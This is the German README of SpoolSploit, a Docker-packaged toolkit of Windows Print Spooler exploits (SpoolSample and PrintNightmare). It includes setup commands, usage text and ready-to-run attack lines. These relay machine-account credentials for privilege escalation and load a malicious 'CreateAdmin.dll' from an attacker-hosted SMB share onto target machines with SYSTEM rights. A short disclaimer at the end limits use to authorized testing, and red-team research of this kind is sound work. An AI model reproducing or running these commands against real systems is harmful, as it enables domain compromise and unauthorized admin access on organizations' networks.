
Eine Sammlung von Windows-Druckerspooler-Exploits, containerisiert mit anderen Dienstprogrammen für die praktische Ausnutzung.
Eine Sammlung von Windows-Druckerspooler-Exploits, containerisiert mit weiteren Hilfsprogrammen für die praktische Ausnutzung.
SpoolSploit ist eine Sammlung von Windows-Druckerspooler-Exploits, containerisiert mit weiteren Hilfsprogrammen für die praktische Ausnutzung. Zwei äußerst effektive Methoden sind das Relayen von Maschinenkontenanmeldeinformationen zur Rechteausweitung und das Ausführen von bösartigen DLLs auf Endpunkten mit vollem Systemzugriff.

Zum Veröffentlichungszeitpunkt wurde der SpoolSploit-Docker-Container erfolgreich auf den neuesten Versionen von MacOS, Ubuntu Linux und Windows 10 getestet.
Obwohl nicht erforderlich, sollten Sie, wenn Sie bösartige DLLs hosten oder Credential-Relay-Angriffe innerhalb des SpoolSploit-Containers durchführen möchten, sicherstellen, dass Port 445 auf dem Docker-Host nicht belegt ist. Dies ist besonders relevant, wenn der Container auf einem Windows-Host ausgeführt wird, da dieser standardmäßig Port 445 verwendet. Falls das Deaktivieren von Port 445 auf Ihrem Host nicht praktikabel ist, ist das in Ordnung! Sie können den Docker-Container einfach in einer virtuellen Maschine ausführen, deren Netzwerkadapter im Bridge-Modus konfiguriert ist. Dies ermöglicht das Bereitstellen von bösartigen DLLs und das Relayen von Anmeldeinformationen. Wenn Sie nur bösartige DLLs bereitstellen möchten, könnten Sie die DLLs auch einfach auf einer anonym zugänglichen Freigabe Ihres Host-Betriebssystems oder einer kompromittierten Serverfreigabe hosten.
git clone https://github.com/BeetleChunks/SpoolSploit
cd SpoolSploit
sudo docker build -t spoolsploit .
sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest
sudo docker exec -it spoolsploit /bin/bash
usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD
optional arguments:
-h, --help show this help message and exit
-a {spoolsample,nightmare}, --attack {spoolsample,nightmare}
Attack type to execute on target(s).
-rH RHOST, --rhost RHOST
Remote target IP, CIDR range, or filename (file:<path>)
-rP {139,445}, --rport {139,445}
Remote SMB server port.
-lH LHOST, --lhost LHOST
Listening hostname or IP
-lS LSHARE, --lshare LSHARE
Staging SMB share (UNC)
-d DOMAIN, --domain DOMAIN
Domain for authentication
-u USER, --username USER
Username for authentication
-p PASSWD, --password PASSWD
Password for authentication
Example - spoolsample:
python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
Example - nightmare:
python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
Der SpoolSploit-Docker-Container enthält Responder zum Relayen von Maschinenkonten-Hashes, die durch Ausführen des Angriffs spoolsample in SpoolSploit erlangt wurden. Da es mehrere hervorragende Artikel gibt, die den Prozess des Relayens privilegierter Maschinenkontenanmeldeinformationen zur Rechteausweitung detailliert beschreiben, werde ich hier nicht näher darauf eingehen.
Im SpoolSploit-Container ist ein SMB-Server enthalten, der über Impacket implementiert wurde. Dieser Server kann zum Hosten bösartiger DLLs verwendet werden, wenn der Angriff printnightmare in SpoolSploit ausgeführt wird. Die Standardeinstellungen des SMB-Servers funktionieren, aber wenn Sie sie anpassen möchten, können Sie die Konfigurationsdatei unter /home/dlogmas/smbserver/smb-v1.conf ändern.
Sie müssen lediglich Ihre DLL in den Freigabeordner des SMB-Servers im SpoolSploit-Container kopieren. Der Freigabepfad im Container lautet /home/dlogmas/smbserver/share/. Die folgenden Befehle zeigen, wie Sie eine DLL in den SpoolSploit-Container hochladen und für den SMB-Server zugänglich machen.
sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/
sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'
Dieser Proof-of-Concept-Code wurde für akademische Forschungszwecke erstellt und ist nicht dazu bestimmt, gegen Systeme eingesetzt zu werden, außer wenn dies ausdrücklich autorisiert ist. Der Code wird ohne jegliche Garantien oder Zusagen hinsichtlich seiner Ausführung bereitgestellt. Ich bin nicht verantwortlich oder haftbar für Missbrauch dieses Codes.